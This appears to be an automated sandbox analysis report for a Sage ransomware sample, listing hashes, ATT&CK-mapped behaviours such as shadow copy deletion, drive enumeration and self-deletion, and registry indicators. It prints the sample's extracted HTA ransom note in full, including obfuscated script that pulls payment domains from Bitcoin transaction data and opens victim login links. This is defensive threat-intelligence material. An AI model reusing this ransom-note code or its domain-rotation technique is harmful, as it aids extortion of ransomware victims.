sage | 943bf3b02289d5ac524bd1b6116d1235ba27f4b6398426212166bb9cf151b213

Analysis

max time kernel
150s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/10/2026, 04:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Size 254KB
Sample261016-ev5ddag19m
SHA256 943bf3b02289d5ac524bd1b6116d1235ba27f4b6398426212166bb9cf151b213
MD5 4b6c86ca42e1d86926d82ebaba927a84
SHA1 143fe213b97617cda329e8e2164ecf125811922b
SHA512 26bdcd157d8fee7b0a7c1e44ab016d2ee53f01abbcc30ca63b2d28d748fb778e603070093c58e42c820240d1e75489a39318c20d1f0cbe8f25616b16972d3df1
SSDEEP 3072:ShJIfTTtKvMm7+yjaiiJmVXZUoGgGN0kaPreqJT2L4un4OFw6uVNq+aPG:ShJioZjaiiJm1LGgeOne48AVcRO
TLSH
T1D34414A8EB8426F4D89740B77608692507C21CFA7E8EF30622C57E5E357A51D30D2EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution sage impact persistence privilege_escalation ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\!HELP_SOS.hta

Ransom Note

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Decryption Instructions</title> <HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize"> <style> a { color: #04a; text-decoration: none; } a:hover { text-decoration: underline; } body { background-color: #e7e7e7; color: #222; font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif; font-size: 12pt; line-height: 16pt; } body, h1 { margin: 0; padding: 0; } h1 { color: #555; text-align: center; padding-bottom: 1.5em; line-height: 1.2; } h2 { color: #555; text-align: center; line-height: 1.2; } ol li { padding-bottom: 13pt; } .container { background-color: #EEE; border: 2pt solid #C7C7C7; margin: 3%; min-width: 600px; padding: 5% 10%; color: #444; } .filecontainer{ padding: 5% 10%; display: none; } .header { border-bottom: 2pt solid #c7c7c7; padding-bottom: 5%; } .hr { background: #bda; display: block; height: 2pt; margin-top: 1.5%; margin-bottom: 1.5%; overflow: hidden; width: 100%; } .key{ background-color: #A1D490; border: 1px solid #506A48; display: block; text-align: center; margin: 0.5em 0; padding: 1em 1.5em; word-wrap: break-word; } .keys{ margin: 3em 0; } .filename{ border: 3px solid #AAA; display: block; text-align: center; margin: 0.5em 0em; padding: 1em 1.5em; background-color: #DCC; } .us{ text-decoration: strong; color: #333; } .info{ background-color: #E4E4E4; padding: 0.5em 3em; margin: 1em 0; } .text{ text-align: justify; } #file{ background-color: #FCC; } .lsb{ display: none; margin: 3%; text-align: center; } .ls{ border: 1px solid #888; border-radius: 3px; padding: 0 0.5em; margin: 0.2em 0.1em; line-height: 2em; display: inline-block; } .ls:hover{ background-color: #D0D0D0; } .l{ display:none; } .lu{ display:none; } </style> <script language="vbscript"> Function GetCmd GetCmd = App.commandLine End Function </script> <script language="javascript"> function openlink(url){ new ActiveXObject("WScript.Shell").Run(url); return false; } function aIndexOf(arr, v){ for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i; return -1; } function tweakClass(cl, f){ var els; if(document.getElementByClassName != null){ els = document.getElementsByClassName(cl); } else{ els = []; var tmp = document.getElementsByTagName('*'); for (var i = 0; i < tmp.length; i++){ var c = tmp[i].className; if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]); } } for(var i = 0; i < els.length; i++) f(els[i]); } function show(el){ el.style.display = 'block'; } function hide(el){ el.style.display = 'none'; } var langs = ["en","de","it","fr","es","no","pt","nl","kr","ms","zh","tr","vi","hi","jv","fa","ar"]; function setLang(lang){ if(aIndexOf(langs, lang) == -1) lang = langs[0]; for(var i = 0; i < langs.length; i++){ var clang = langs[i]; tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; }); tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; }); } } function newXHR() { if (window.XMLHttpRequest) return new window.XMLHttpRequest; try { return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } catch(error) { return null; } } function getPage(url, cb) { try{ var xhr = newXHR(); if(!xhr) return cb('no xhr'); xhr.onreadystatechange = function() { if(xhr.readyState != 4) return; if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status) cb(null, xhr.responseText); }; xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true); xhr.send(); } catch(e){ cb(e); } } function decodeTxString(hex){ var m = '0123456789abcdef'; var s = ''; var c = 0xAA; hex = hex.toLowerCase(); for(var i = 0; i < hex.length; i+=2){ var a = m.indexOf(hex.charAt(i)); var b = m.indexOf(hex.charAt(i+1)); if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b; s+= String.fromCharCode(c = (c ^ ((a << 4) | b))); } return s; } var OR = 'OP_RE'+'TURN '; var sources = [ {bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.vouts; for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10)); return null; } }, {bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.outputs; for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10)); return null; } }, {bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all', ptxs: function(json){ var res = []; for(var i = 0; i < json.length; i++) res.push(json[i][1]); return res; }, ptx: function(json){ var os = json.output; for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10)); return null; } }, {bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/', ptxs: function(json){ var res = []; var m = {}; for(var i = 0; i < json.txrefs.length; i++){ var tx = json.txrefs[i].tx_hash; if(m[tx]) continue; m[tx] = 1; res.push(tx); } return res; }, ptx: function(json){ var os = json.outputs; for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex); return null; } } ]; function eachUntil(a,f,c){ var i = 0; var n = function(){ if(i >= a.length) return c('f'); f(a[i++], function(err, res){ if(err == null) return c(null, res); n(); }); }; n(); } function getJson(url, cb){ getPage(url, function(err, res){ if(err != null) return cb(err); var json; try{ if(window.JSON && window.JSON.parse){ json = window.JSON.parse(res); } else{ json = eval('('+res+')'); } } catch(e){ cb(e); } cb(null, json); }); } function getDomains(ad, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp; url+= s.adp+ad; if(s.adpb) url+= s.adpb; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptxs(json)); } catch(e){ cb(e); } }); }, function(err, txs){ if(err != null) return cb(err); if(txs.length == 0) return cb('f'); eachUntil(txs, function(tx, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp+s.txp+tx; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptx(json)); } catch(e){ cb(e); } }); }, function(err, res){ if(err != null) return cb(err); if(res == null) return cb('f'); cb(null, res.split(':')); }); }, cb); }); } function updateLinks(){ tweakClass('lu', hide); tweakClass('lu-updating', show); getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){ tweakClass('lu', hide); if(err != null){ tweakClass('lu-error', show); return; } tweakClass('lu-done', show); var html = ''; for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://z5dq36kjy5swjtmr.'+ds[i]+'/login/AQAAAAAAAAAA1dkcwBAfRKwHm2e7tfTJ3VXgL8uPl9YViQmOXMFYjCbA" onclick="javascript:return openlink(this.href)">http://z5dq36kjy5swjtmr.'+ds[i]+'/</a></div>'; tweakClass('links', function(el){ el.innerHTML = html; }); }); return false; } function onPageLoaded(){ try{ tweakClass('lsb', show); }catch(e){} try{ tweakClass('lu-orig', show); }catch(e){} try{ setLang('en'); }catch(e){} try{ var args = GetCmd().match(/"[^"]+"|[^ ]+/g); if(args.length > 1){ var file = args[args.length-1]; if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2); document.getElementById('filename').innerHTML = file; show(document.getElementById('file')); document.title = 'File is encrypted'; } }catch(e){} } </script> </head> <body onload='javascript:onPageLoaded()'> <div class='lsb'> <span class='ls ls-en' onclick="javascript:return setLang('en')">English</span> <span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span> <span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span> <span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span> <span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span> <span class='ls ls-no' onclick="javascript:return setLang('no')">Norsk</span> <span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span> <span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span> <br/><span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span> <span class='ls ls-ms' onclick="javascript:return setLang('ms')">Bahasa Melayu</span> <span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span> <span class='ls ls-tr' onclick="javascript:return setLang('tr')">Türkçe</span> <span class='ls ls-vi' onclick="javascript:return setLang('vi')">Tiếng Việt</span> <span class='ls ls-hi' onclick="javascript:return setLang('hi')">हिन्दी</span> <span class='ls ls-jv' onclick="javascript:return setLang('jv')">Basa Jawa</span> <span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span> <span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span> </div> <div id='file' class='container filecontainer'> <div class='filename'> <div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div> <div> <h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-no' >Filen er kryptert men kan bli gjenopprettet</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-ms' >Fail ini dienkripsikan tetapi boleh dipulih semula.</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2><h2 class='l l-tr' >Dosya şifrelenmiş ancak geri yüklenebilir.</h2><h2 class='l l-vi' >Tập tin bị mã hóa nhưng có thể được khôi phục</h2><h2 class='l l-hi' >फाइल एनक्रिप्‍टड हैं लेकिन रिस्‍टोर की जा सकती हैं</h2><h2 class='l l-jv' >File ini dienkripsi tetapi dapat dikembalikan</h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2> <p><span id='filename'></span></p> </div> </div> <h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-no' >Filen du prøvde åpne og andre viktige filer på datamaskinen din ble kryptert av "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-ms' >Fail yang anda cuba buka dan fail penting yang lain di komputer anda telah dienkripskan oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2><h2 class='l l-tr' >Açmaya çalıştığınız dosya ve diğer önemli dosyalarınızı bilgisayarınızda "SAGE 2.2 Ransomware" tarafından şifrelenmiş.</h2><h2 class='l l-vi' >Tập tin mà bạn cố mở và những tập tin quan trọng khác trên máy tính của bạn bị mã hóa bởi "SAGE 2.2 Ransomware".</h2><h2 class='l l-hi' >वो फाइल जिसे आपने खोलने की कोशिश की और आपके कंप्‍यूटर पर बाकी महत्‍वपूर्ण फाइले हमारी ओर से इंक्रिप्टिड की गई हैं "SAGE 2.2 Ransomware"।</h2><h2 class='l l-jv' >File yang Anda coba untuk buka dan file penting lain di komputer Anda yang dienkripsi oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که ش�

URLs

http://'+s.bp
http://'+s.bp+s.txp+tx

Signatures

Family: Sage
Sage is a ransomware that has been active since 2020.
ransomware sage
Contacts a large (7714) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
3896	WScript.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	explorer.exe
File opened (read-only)	\??\G:	explorer.exe
File opened (read-only)	\??\M:	explorer.exe
File opened (read-only)	\??\P:	explorer.exe
File opened (read-only)	\??\T:	explorer.exe
File opened (read-only)	\??\V:	explorer.exe
File opened (read-only)	\??\H:	explorer.exe
File opened (read-only)	\??\I:	explorer.exe
File opened (read-only)	\??\K:	explorer.exe
File opened (read-only)	\??\O:	explorer.exe
File opened (read-only)	\??\Q:	explorer.exe
File opened (read-only)	\??\R:	explorer.exe
File opened (read-only)	\??\U:	explorer.exe
File opened (read-only)	\??\Y:	explorer.exe
File opened (read-only)	\??\J:	explorer.exe
File opened (read-only)	\??\N:	explorer.exe
File opened (read-only)	\??\S:	explorer.exe
File opened (read-only)	\??\X:	explorer.exe
File opened (read-only)	\??\Z:	explorer.exe
File opened (read-only)	\??\L:	explorer.exe
File opened (read-only)	\??\W:	explorer.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2868	WScript.exe
3896	WScript.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\oL8.bmp"	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3628	cmd.exe
3812	cmd.exe
3044	cmd.exe
5548	cmd.exe
224	cmd.exe
5532	cmd.exe
2032	cmd.exe
2492	cmd.exe
3188	cmd.exe
5216	cmd.exe
208	cmd.exe
396	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies data under HKEY_USERS 38 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\AppDataLow	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\aNoE7dUk	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\aNoE7dUk	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\AppDataLow\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\aNoE7dUk	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\AppDataLow\aNoE7dUk\bLygL3Ma = d5d91cc0101f44ac079b67bbb5f4c9dd55e02fcb8f97d61589098e5cc1588c262300175a051d296b7be79fa55a0dfc92540acb96e0304cc23b40a68a1f60986a0100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19	explorer.exe
